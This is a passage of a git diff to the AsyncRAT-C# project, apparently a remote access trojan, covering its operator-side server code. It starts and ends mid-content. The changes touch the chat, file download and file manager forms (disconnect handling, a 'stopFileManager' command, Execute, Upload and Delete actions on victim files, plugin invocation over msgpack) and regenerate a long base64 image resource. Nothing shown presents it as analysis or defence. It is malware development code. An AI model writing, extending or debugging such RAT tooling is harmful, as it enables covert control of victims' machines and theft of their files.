+ msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Command").AsString = "invoke"; + msgpack.ForcePathObject("Hash").AsString = Methods.GetHash(Path.Combine(Application.StartupPath, "Plugin", "PluginChat.dll")); + ThreadPool.QueueUserWorkItem(ParentClient.Send, msgpack.Encode2Bytes()); + } } + catch { } } private void FormChat_FormClosed(object sender, FormClosedEventArgs e) { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "chatExit"; - ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + try + { + Client?.Disconnected(); + } + catch { } } private void Timer1_Tick(object sender, EventArgs e) diff --git a/AsyncRAT-C#/Server/Forms/FormDownloadFile.cs b/AsyncRAT-C#/Server/Forms/FormDownloadFile.cs index f891333..438aac1 100644 --- a/AsyncRAT-C#/Server/Forms/FormDownloadFile.cs +++ b/AsyncRAT-C#/Server/Forms/FormDownloadFile.cs @@ -26,32 +26,40 @@ namespace Server.Forms public string FullFileName; public string ClientFullFileName; private bool IsUpload = false; - + public string FullPath { get; set; } public FormDownloadFile() { InitializeComponent(); } private void timer1_Tick(object sender, EventArgs e) { - if (!IsUpload) + if (Client.TcpClient.Connected) { - labelsize.Text = $"{Methods.BytesToString(FileSize)} \\ {Methods.BytesToString(Client.BytesRecevied)}"; - if (Client.BytesRecevied >= FileSize) + if (!IsUpload) { - labelsize.Text = "Downloaded"; - labelsize.ForeColor = Color.Green; - timer1.Stop(); + labelsize.Text = $"{Methods.BytesToString(FileSize)} \\ {Methods.BytesToString(Client.BytesRecevied)}"; + if (Client.BytesRecevied >= FileSize) + { + labelsize.Text = "Downloaded"; + labelsize.ForeColor = Color.Green; + timer1.Stop(); + } + } + else + { + labelsize.Text = $"{Methods.BytesToString(FileSize)} \\ {Methods.BytesToString(BytesSent)}"; + if (BytesSent >= FileSize) + { + labelsize.Text = "Uploaded"; + labelsize.ForeColor = Color.Green; + timer1.Stop(); + } } } else { - labelsize.Text = $"{Methods.BytesToString(FileSize)} \\ {Methods.BytesToString(BytesSent)}"; - if (BytesSent >= FileSize) - { - labelsize.Text = "Uploaded"; - labelsize.ForeColor = Color.Green; - timer1.Stop(); - } + Client.Disconnected(); + this.Close(); } } diff --git a/AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs b/AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs index 37d2b7a..b786d48 100644 --- a/AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs @@ -52,14 +52,14 @@ this.dELETEToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.toolStripSeparator4 = new System.Windows.Forms.ToolStripSeparator(); this.createFolderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.toolStripSeparator3 = new System.Windows.Forms.ToolStripSeparator(); + this.openClientFolderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.imageList1 = new System.Windows.Forms.ImageList(this.components); this.statusStrip1 = new System.Windows.Forms.StatusStrip(); this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel(); this.toolStripStatusLabel2 = new System.Windows.Forms.ToolStripStatusLabel(); this.toolStripStatusLabel3 = new System.Windows.Forms.ToolStripStatusLabel(); this.timer1 = new System.Windows.Forms.Timer(this.components); - this.toolStripSeparator3 = new System.Windows.Forms.ToolStripSeparator(); - this.openClientFolderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.contextMenuStrip1.SuspendLayout(); this.statusStrip1.SuspendLayout(); this.SuspendLayout(); @@ -75,6 +75,7 @@ this.columnHeader1, this.columnHeader2}); this.listView1.ContextMenuStrip = this.contextMenuStrip1; + this.listView1.Enabled = false; this.listView1.LargeImageList = this.imageList1; this.listView1.Location = new System.Drawing.Point(0, 1); this.listView1.Name = "listView1"; @@ -106,19 +107,19 @@ this.toolStripSeparator3, this.openClientFolderToolStripMenuItem}); this.contextMenuStrip1.Name = "contextMenuStrip1"; - this.contextMenuStrip1.Size = new System.Drawing.Size(241, 439); + this.contextMenuStrip1.Size = new System.Drawing.Size(233, 406); // // backToolStripMenuItem // this.backToolStripMenuItem.Name = "backToolStripMenuItem"; - this.backToolStripMenuItem.Size = new System.Drawing.Size(240, 32); + this.backToolStripMenuItem.Size = new System.Drawing.Size(232, 32); this.backToolStripMenuItem.Text = "Back"; this.backToolStripMenuItem.Click += new System.EventHandler(this.backToolStripMenuItem_Click); // // rEFRESHToolStripMenuItem // this.rEFRESHToolStripMenuItem.Name = "rEFRESHToolStripMenuItem"; - this.rEFRESHToolStripMenuItem.Size = new System.Drawing.Size(240, 32); + this.rEFRESHToolStripMenuItem.Size = new System.Drawing.Size(232, 32); this.rEFRESHToolStripMenuItem.Text = "Refresh"; this.rEFRESHToolStripMenuItem.Click += new System.EventHandler(this.rEFRESHToolStripMenuItem_Click); // @@ -131,7 +132,7 @@ this.toolStripSeparator2, this.driversListsToolStripMenuItem}); this.gOTOToolStripMenuItem.Name = "gOTOToolStripMenuItem"; - this.gOTOToolStripMenuItem.Size = new System.Drawing.Size(240, 32); + this.gOTOToolStripMenuItem.Size = new System.Drawing.Size(232, 32); this.gOTOToolStripMenuItem.Text = "Go To"; // // dESKTOPToolStripMenuItem @@ -170,69 +171,81 @@ // toolStripSeparator1 // this.toolStripSeparator1.Name = "toolStripSeparator1"; - this.toolStripSeparator1.Size = new System.Drawing.Size(237, 6); + this.toolStripSeparator1.Size = new System.Drawing.Size(229, 6); // // downloadToolStripMenuItem // this.downloadToolStripMenuItem.Name = "downloadToolStripMenuItem"; - this.downloadToolStripMenuItem.Size = new System.Drawing.Size(240, 32); + this.downloadToolStripMenuItem.Size = new System.Drawing.Size(232, 32); this.downloadToolStripMenuItem.Text = "Download"; this.downloadToolStripMenuItem.Click += new System.EventHandler(this.downloadToolStripMenuItem_Click); // // uPLOADToolStripMenuItem // this.uPLOADToolStripMenuItem.Name = "uPLOADToolStripMenuItem"; - this.uPLOADToolStripMenuItem.Size = new System.Drawing.Size(240, 32); + this.uPLOADToolStripMenuItem.Size = new System.Drawing.Size(232, 32); this.uPLOADToolStripMenuItem.Text = "Upload"; this.uPLOADToolStripMenuItem.Click += new System.EventHandler(this.uPLOADToolStripMenuItem_Click); // // eXECUTEToolStripMenuItem // this.eXECUTEToolStripMenuItem.Name = "eXECUTEToolStripMenuItem"; - this.eXECUTEToolStripMenuItem.Size = new System.Drawing.Size(240, 32); + this.eXECUTEToolStripMenuItem.Size = new System.Drawing.Size(232, 32); this.eXECUTEToolStripMenuItem.Text = "Execute"; this.eXECUTEToolStripMenuItem.Click += new System.EventHandler(this.eXECUTEToolStripMenuItem_Click); // // renameToolStripMenuItem // this.renameToolStripMenuItem.Name = "renameToolStripMenuItem"; - this.renameToolStripMenuItem.Size = new System.Drawing.Size(240, 32); + this.renameToolStripMenuItem.Size = new System.Drawing.Size(232, 32); this.renameToolStripMenuItem.Text = "Rename"; this.renameToolStripMenuItem.Click += new System.EventHandler(this.RenameToolStripMenuItem_Click); // // copyToolStripMenuItem // this.copyToolStripMenuItem.Name = "copyToolStripMenuItem"; - this.copyToolStripMenuItem.Size = new System.Drawing.Size(240, 32); + this.copyToolStripMenuItem.Size = new System.Drawing.Size(232, 32); this.copyToolStripMenuItem.Text = "Copy"; this.copyToolStripMenuItem.Click += new System.EventHandler(this.CopyToolStripMenuItem_Click); // // pasteToolStripMenuItem // this.pasteToolStripMenuItem.Name = "pasteToolStripMenuItem"; - this.pasteToolStripMenuItem.Size = new System.Drawing.Size(240, 32); + this.pasteToolStripMenuItem.Size = new System.Drawing.Size(232, 32); this.pasteToolStripMenuItem.Text = "Paste"; this.pasteToolStripMenuItem.Click += new System.EventHandler(this.PasteToolStripMenuItem_Click_1); // // dELETEToolStripMenuItem // this.dELETEToolStripMenuItem.Name = "dELETEToolStripMenuItem"; - this.dELETEToolStripMenuItem.Size = new System.Drawing.Size(240, 32); + this.dELETEToolStripMenuItem.Size = new System.Drawing.Size(232, 32); this.dELETEToolStripMenuItem.Text = "Delete"; this.dELETEToolStripMenuItem.Click += new System.EventHandler(this.dELETEToolStripMenuItem_Click); // // toolStripSeparator4 // this.toolStripSeparator4.Name = "toolStripSeparator4"; - this.toolStripSeparator4.Size = new System.Drawing.Size(237, 6); + this.toolStripSeparator4.Size = new System.Drawing.Size(229, 6); // // createFolderToolStripMenuItem // this.createFolderToolStripMenuItem.Name = "createFolderToolStripMenuItem"; - this.createFolderToolStripMenuItem.Size = new System.Drawing.Size(240, 32); + this.createFolderToolStripMenuItem.Size = new System.Drawing.Size(232, 32); this.createFolderToolStripMenuItem.Text = "Create Folder"; this.createFolderToolStripMenuItem.Click += new System.EventHandler(this.CreateFolderToolStripMenuItem_Click); // + // toolStripSeparator3 + // + this.toolStripSeparator3.Name = "toolStripSeparator3"; + this.toolStripSeparator3.Size = new System.Drawing.Size(229, 6); + // + // openClientFolderToolStripMenuItem + // + this.openClientFolderToolStripMenuItem.Name = "openClientFolderToolStripMenuItem"; + this.openClientFolderToolStripMenuItem.Size = new System.Drawing.Size(232, 32); + this.openClientFolderToolStripMenuItem.Text = "Open Client Folder"; + this.openClientFolderToolStripMenuItem.Click += new System.EventHandler(this.OpenClientFolderToolStripMenuItem_Click); + // // imageList1 // this.imageList1.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imageList1.ImageStream"))); @@ -276,22 +289,9 @@ // // timer1 // - this.timer1.Enabled = true; this.timer1.Interval = 1000; this.timer1.Tick += new System.EventHandler(this.Timer1_Tick); // - // toolStripSeparator3 - // - this.toolStripSeparator3.Name = "toolStripSeparator3"; - this.toolStripSeparator3.Size = new System.Drawing.Size(237, 6); - // - // openClientFolderToolStripMenuItem - // - this.openClientFolderToolStripMenuItem.Name = "openClientFolderToolStripMenuItem"; - this.openClientFolderToolStripMenuItem.Size = new System.Drawing.Size(240, 32); - this.openClientFolderToolStripMenuItem.Text = "Open Client Folder"; - this.openClientFolderToolStripMenuItem.Click += new System.EventHandler(this.OpenClientFolderToolStripMenuItem_Click); - // // FormFileManager // this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); @@ -302,6 +302,7 @@ this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.Name = "FormFileManager"; this.Text = "FileManager"; + this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FormFileManager_FormClosed); this.contextMenuStrip1.ResumeLayout(false); this.statusStrip1.ResumeLayout(false); this.statusStrip1.PerformLayout(); @@ -326,7 +327,6 @@ private System.Windows.Forms.ToolStripMenuItem dELETEToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem rEFRESHToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem eXECUTEToolStripMenuItem; - private System.Windows.Forms.Timer timer1; private System.Windows.Forms.ToolStripMenuItem gOTOToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem dESKTOPToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem aPPDATAToolStripMenuItem; @@ -341,5 +341,6 @@ private System.Windows.Forms.ToolStripMenuItem driversListsToolStripMenuItem; private System.Windows.Forms.ToolStripSeparator toolStripSeparator3; private System.Windows.Forms.ToolStripMenuItem openClientFolderToolStripMenuItem; + public System.Windows.Forms.Timer timer1; } } \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Forms/FormFileManager.cs b/AsyncRAT-C#/Server/Forms/FormFileManager.cs index fcb1e9a..0687277 100644 --- a/AsyncRAT-C#/Server/Forms/FormFileManager.cs +++ b/AsyncRAT-C#/Server/Forms/FormFileManager.cs @@ -14,6 +14,7 @@ namespace Server.Forms public partial class FormFileManager : Form { public Form1 F { get; set; } + internal Clients ParentClient { get; set; } internal Clients Client { get; set; } public string FullPath { get; set; } public FormFileManager() @@ -80,8 +81,8 @@ namespace Server.Forms { if (listView1.SelectedItems.Count > 0) { - if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + Client.ID))) - Directory.CreateDirectory(Path.Combine(Application.StartupPath, "ClientsFolder\\" + Client.ID)); + if (!Directory.Exists(FullPath)) + Directory.CreateDirectory(FullPath); foreach (ListViewItem itm in listView1.SelectedItems) { if (itm.ImageIndex == 0 && itm.ImageIndex == 1 && itm.ImageIndex == 2) return; @@ -101,7 +102,8 @@ namespace Server.Forms { Name = "socketDownload:" + dwid, Text = "socketDownload:" + Client.ID, - F = F + F = F, + FullPath = FullPath }; SD.Show(); } @@ -231,7 +233,7 @@ namespace Server.Forms { try { - if (!Client.TcpClient.Connected) this.Close(); + if (!Client.TcpClient.Connected || !ParentClient.TcpClient.Connected) this.Close(); } catch { this.Close(); } } @@ -367,19 +369,20 @@ namespace Server.Forms msgpack.ForcePathObject("Path").AsString = "USER"; ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } - catch - { - - } + catch { } } private void DriversListsToolStripMenuItem_Click(object sender, EventArgs e) { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "fileManager"; - msgpack.ForcePathObject("Command").AsString = "getDrivers"; - toolStripStatusLabel1.Text = ""; - ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + try + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "fileManager"; + msgpack.ForcePathObject("Command").AsString = "getDrivers"; + toolStripStatusLabel1.Text = ""; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + } + catch { } } private void OpenClientFolderToolStripMenuItem_Click(object sender, EventArgs e) @@ -392,5 +395,16 @@ namespace Server.Forms } catch { } } + + private void FormFileManager_FormClosed(object sender, FormClosedEventArgs e) + { + try + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Command").AsString = "stopFileManager"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + } + catch { } + } } } \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Forms/FormFileManager.resx b/AsyncRAT-C#/Server/Forms/FormFileManager.resx index 88e86df..40a6e89 100644 --- a/AsyncRAT-C#/Server/Forms/FormFileManager.resx +++ b/AsyncRAT-C#/Server/Forms/FormFileManager.resx @@ -127,8 +127,8 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 - ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABk - ZQAAAk1TRnQBSQFMAgEBAwEAAUgBAAFIAQABMAEAATABAAT/ASEBAAj/AUIBTQE2BwABNgMAASgDAAHA + ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABS + ZQAAAk1TRnQBSQFMAgEBAwEAAVgBAAFYAQABMAEAATABAAT/ASEBAAj/AUIBTQE2BwABNgMAASgDAAHA AwABMAMAAQEBAAEgBgABkEYAAwEBAgMMARADJwE7AxkBIwMFAQdDAAEBQwAEAQECAwEBAgMBAQIDAQEC AwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQEC AwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQEC @@ -136,431 +136,431 @@ AwABASsAAQEDBAEFAwsBDwMUARwDFQEdAwcBCgMCAQMDAQECAwABASwAAwIBAwMIAQsDDwEUAxIBGAMS ARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMS ARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMS - ARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEQEXAw0BEgMHAQkDAgED/wC5AAM7AWMBXgJhAd0BUgG0 - AdEB/wNCAXUDFgEfAwUBBwMBAQInAAEBAwMBBAMYASEDNgFYAU8CUwGlAVACUgGkAyIBMgMKAQ0DBwEJ - AwMBBCgAAwEBAgMLAQ8DHwEtAy4BSAMzAVIDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMz - AVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMz - AVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzIBUQMs - AUQDGwEmAwgBCwMAAQH/AKkAAwQBBQMcASgDRQF8A14B1QFUAXsBkAH6AVMBtQHSAf8DRgF/AyIBMQMT - ARoDCwEPAwUBBwMBAQIDAAEBAwMBBAMHAQoDEgEYAxsBJgMkATYDOAFdA0sBjgNYAbwBWgJdAdMBXQFh - AWMB4gFdAWgBagHwA14B3QNHAYIDMQFPAyABLwMSARgDBgEIAwIBAwMAAQEcAAMEAQUDFwEgA0gBhQNQ - AaMDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNU + ARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEQEXAw0BEgMHAQkDAgED/wC5AAM7AWMDXgHdAVABtAHR + Af8DQgF1AxYBHwMFAQcDAQECJwABAQMDAQQDGAEhAzYBWAFPAlMBpQFQAlIBpAMiATIDCgENAwcBCQMD + AQQoAAMBAQIDCwEPAx8BLQMuAUgDMwFSAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFT + AzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFT + AzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMyAVEDLAFE + AxsBJgMIAQsDAAEB/wCpAAMEAQUDHAEoA0UBfANeAdUBUgF5AYoB+gFRAbUB0gH/A0YBfwMiATEDEwEa + AwsBDwMFAQcDAQECAwABAQMDAQQDBwEKAxIBGAMbASYDJAE2AzgBXQNLAY4DWAG8AVoCXQHTAV0CYQHi + AV0BZgFoAfADXgHdA0cBggMxAU8DIAEvAxIBGAMGAQgDAgEDAwABARwAAwQBBQMXASADSAGFA1ABowNU AasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNU - AasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNTAaoDUAGfAzgBXAMSARkDAgED/wCkAAEB - AwIBAwMiATIDTQGRAV8BZgFpAegBXQGSAZkB+wFUAbIB0AH/AVMBtgHTAf8DSAGDAycBOwMeASsDGQEj - AxQBHAMTBBoEJAE2AzQBVANJAYgDVgG0AVoCXQHTAV8BZAFmAeABXQFxAXcB7QFdAYoBkAH5AVABpAG1 - Af0BUwGwAc4B/wFRAbQB0gH/AVABjQGgAfoBYgFmAWsB5wFeAmEB2gNCAXQDIwEzAxIBGAMHAQoDAgED - HAADBQEHAx0BKgNBAfkDSwH/A0sB/wNLAf8DSwH/A0sB/wMDAf8DAwH/AwMB/wMEAf8DDAH/AywB/wNL - Af8DSwH/A0sB/wNLAf8DSwH/AykB/wNKAf8DSgH/A0oB/wNKAf8DSgH/A0oB/wNLAf8DSwH/A0sB/wNL - Af8DSwH/A0sB/wNLAf8DSwH/A0sB/wNLAf8DSwH/A0sB/wNLAf8DaQH/A1MB/wNLAf8DSwH/A0sB/wNZ - AdcDFwEgAwQBBQsAAQEDAgQDBAQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQME + AasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNU + AasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1MBqgNQAZ8DOAFcAxIBGQMCAQP/AKQAAQEDAgED + AyIBMgNNAZEBXwFkAWcB6AFdAZABlgH7AVIBsgHQAf8BUQG2AdMB/wNIAYMDJwE7Ax4BKwMZASMDFAEc + AxMEGgQkATYDNAFUA0kBiANWAbQBWgJdAdMBXwFiAWQB4AFdAWsBcQHtAV0BiAGNAfkBTgGkAbMB/QFR + AbABzgH/AU8BtAHSAf8BTgGHAZwB+gFiAWQBZgHnAV4CYQHaA0IBdAMjATMDEgEYAwcBCgMCAQMcAAMF + AQcDHQEqA0EB+QNJAf8DSQH/A0kB/wNJAf8DSQH/AwEB/wMBAf8DAQH/AwIB/wMKAf8DKgH/A0kB/wNJ + Af8DSQH/A0kB/wNJAf8DJwH/A0gB/wNIAf8DSAH/A0gB/wNIAf8DSAH/A0kB/wNJAf8DSQH/A0kB/wNJ + Af8DSQH/A0kB/wNJAf8DSQH/A0kB/wNJAf8DSQH/A0kB/wNnAf8DUQH/A0kB/wNJAf8DSQH/A1kB1wMX + ASADBAEFCwABAQMCBAMEBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQME AQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQME - AQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwIBAwMA - AQHoAAMCAQMDDQERA1UBrQFZAX4BhQH1AVMBtwHVAf8BUwG3AdUB/wFTAbcB1QH/AVQBtwHUAf8DSAGE - AykBPwMjATMDKAE8AzQBVANIAYQDWAHGAWIBYwFkAe8BUQG1AdMB/wFRAbUB0wH/AVEBtQHTAf8BUQG1 - AdMB/wFRAbUB0wH/AVEBtQHTAf8BUQG1AdMB/wFRAbUB0wH/AVEBtQHTAf8BUgG1AdMB/wFSAbUB0wH/ - AVMBtQHTAf8BVAG2AdMB/wNOAZgDLQFGAx8BLAMRARcDBgEIHAADBQEHAx8BLAM/Af4DUQH/A1EB/wNR - Af8DUQH/A1EB/wMAAf8DBQH/A0EB/wNRAf8DUQH/A1EB/wNRAf8DUQH/A1EB/wNRAf8DUQH/AyoB/wNi - Af8DYgH/A2IB/wNiAf8DYgH/A2IB/wNRAf8DUQH/A1EB/wNRAf8DUQH/A1EB/wNRAf8DUQH/A1EB/wNR - Af8DUQH/A1EB/wNDAf8BAAG/ASwB/wE0AWABNAH/A1EB/wNRAf8DUQH/AzYB/wMYASIDBAEFBAADAgED - AwkBDAMaASUDKgFBAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFE + AQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDAgEDAwABAegA + AwIBAwMNAREDVQGtAVkBdwGBAfUBUQG3AdUB/wFRAbcB1QH/AVEBtwHVAf8BUgG3AdQB/wNIAYQDKQE/ + AyMBMwMoATwDNAFUA0gBhANYAcYDYgHvAU8BtQHTAf8BTwG1AdMB/wFPAbUB0wH/AU8BtQHTAf8BTwG1 + AdMB/wFPAbUB0wH/AU8BtQHTAf8BTwG1AdMB/wFPAbUB0wH/AVABtQHTAf8BUAG1AdMB/wFRAbUB0wH/ + AVIBtgHTAf8DTgGYAy0BRgMfASwDEQEXAwYBCBwAAwUBBwMfASwDPwH+A08B/wNPAf8DTwH/A08B/wNP + Af8DAAH/AwMB/wM/Af8DTwH/A08B/wNPAf8DTwH/A08B/wNPAf8DTwH/A08B/wMoAf8DYAH/A2AB/wNg + Af8DYAH/A2AB/wNgAf8DTwH/A08B/wNPAf8DTwH/A08B/wNPAf8DTwH/A08B/wNPAf8DTwH/A08B/wNP + Af8DQQH/AQABvwEqAf8BMgFeATIB/wNPAf8DTwH/A08B/wM0Af8DGAEiAwQBBQQAAwIBAwMJAQwDGgEl + AyoBQQMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFE AywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFE - AywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDKgFBAx0BKgMKAQ4DAwEE - 4AADDAEQAzABSwNZAb4BXQFnAWkB7QFSAagBuAH9AVQBuAHWAf8BVAG4AdYB/wFUAbgB1gH/AVUBuAHV - Af8BUwJVAbABTwJQAZwBVgJYAbwBXAJgAdQBWwJhAeEBXAFjAWUB6gFgAXABdwH2AUsBigGhAfwBUgG1 - AdQB/wFSAbUB1AH/AVIBtQHUAf8BUgG1AdQB/wFSAbUB1AH/AVIBtQHUAf8BUgG1AdQB/wFSAbUB1AH/ - AVIBtQHUAf8BUwG1AdQB/wFTAbUB1AH/AVQBtQHUAf8BVQG2AdQB/wNOAZgDLgFIAyMBMwMYASEDCgEO - AwEBAgMAAQEUAAMFAQcDHwEsAzQB/gM9Af8DPQH/Az0B/wM9Af8DPQH/AwAB/wM9Af8DPQH/Az0B/wM9 - Af8DPQH/Az0B/wM9Af8DPQH/Az0B/wM9Af8DJAH/A2IB/wNiAf8DYgH/A2IB/wNiAf8DYgH/Az0B/wM9 - Af8DPQH/Az0B/wM9Af8DPQH/Az0B/wM9Af8DPQH/Az0B/wM9Af8DPQH/AzkB/wETAYcBVwH/ATUBNwE1 - Af8DPQH/Az0B/wM9Af8DKwH/AxgBIgMEAQUDAAEBAxYBHgNOAZQDSAH2AzIB/gMeAf8DHAH/AxwB/wMc - Af8DHAH/AxwB/wMeAf8DHgH/Ax4B/wMfAf8DIAH/AyAB/wMiAf8DIgH/AyIB/wMjAf8DIwH/AyQB/wMk - Af8DIwH/AyMB/wMjAf8DIgH/AyIB/wMgAf8DIAH/Ax4B/wMdAf8DHAH/AxsB/wMaAf8DGQH/ARoCGAH/ - ASQBGAEZAf8BRQEdAR4B/wFqAjAB/wGDAjYB/wFqATEBLwH/AUkCJAH/AVEBRAFGAfcDVAGvAx0BKQMC - AQPcAAMyAVABVgJZAb4BYAGKAZQB+QFeAZ4BuAH+AVUBuQHYAf8BVQG5AdgB/wFVAbkB2AH/AVUBuQHY - Af8BVgG5AdcB/wFOAWkBcAHwAVQBZwFtAe4BUQFuAYQB9wE6AXgBfgH8AUEBlwGwAf8BTAGrAckB/wFR - AbQB0gH/AVIBtgHVAf8BUgG2AdUB/wFSAbYB1QH/AVIBtgHVAf8BUgG2AdUB/wFSAbYB1QH/AVIBtgHV - Af8BUgG2AdUB/wFSAbYB1QH/AVMBtwHVAf8BUwG3AdUB/wFTAbcB1QH/AVQBtwHVAf8BVQG3AdYB/wNO - AZgDLQFGAyMBMwMZASMDDAEQAwIBAwMAAQEUAAMFAQcDHgErAyoB/gMsAf8DLAH/AywB/wMsAf8DLAH/ - AwAB/wMsAf8DLAH/AywB/wMsAf8DLAH/AywB/wMsAf8DLAH/AywB/wMsAf8DHgH/A2IB/wNiAf8DYgH/ - A2IB/wNiAf8DYgH/AywB/wMsAf8DLAH/AywB/wMsAf8DLAH/AywB/wMsAf8DLAH/AywB/wMsAf8DLAH/ - AywB/wMsAf8DLAH/AywB/wMsAf8DLAH/AyEB/wMYASEDBAEFAwMBBAM4AV0DSwHyAwkB/wMAAf8DAAH/ + AywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAyoBQQMdASoDCgEOAwMBBOAAAwwBEAMw + AUsDWQG+AV0BZQFnAe0BUAGoAbYB/QFSAbgB1gH/AVIBuAHWAf8BUgG4AdYB/wFTAbgB1QH/AVMCVQGw + AU8CUAGcAVYCWAG8AVwCYAHUAVsCYQHhAVwBYQFjAeoBYAFqAXMB9gFHAYQBmwH8AVABtQHUAf8BUAG1 + AdQB/wFQAbUB1AH/AVABtQHUAf8BUAG1AdQB/wFQAbUB1AH/AVABtQHUAf8BUAG1AdQB/wFQAbUB1AH/ + AVEBtQHUAf8BUQG1AdQB/wFSAbUB1AH/AVMBtgHUAf8DTgGYAy4BSAMjATMDGAEhAwoBDgMBAQIDAAEB + FAADBQEHAx8BLAM0Af4DOwH/AzsB/wM7Af8DOwH/AzsB/wMAAf8DOwH/AzsB/wM7Af8DOwH/AzsB/wM7 + Af8DOwH/AzsB/wM7Af8DOwH/AyIB/wNgAf8DYAH/A2AB/wNgAf8DYAH/A2AB/wM7Af8DOwH/AzsB/wM7 + Af8DOwH/AzsB/wM7Af8DOwH/AzsB/wM7Af8DOwH/AzsB/wM3Af8BEQGHAVUB/wEzATUBMwH/AzsB/wM7 + Af8DOwH/AykB/wMYASIDBAEFAwABAQMWAR4DTgGUA0gB9gMyAf4DHAH/AxoB/wMaAf8DGgH/AxoB/wMa + Af8DHAH/AxwB/wMcAf8DHQH/Ax4B/wMeAf8DIAH/AyAB/wMgAf8DIQH/AyEB/wMiAf8DIgH/AyEB/wMh + Af8DIQH/AyAB/wMgAf8DHgH/Ax4B/wMcAf8DGwH/AxoB/wMZAf8DGAH/AxcB/wEYAhYB/wEiARYBFwH/ + 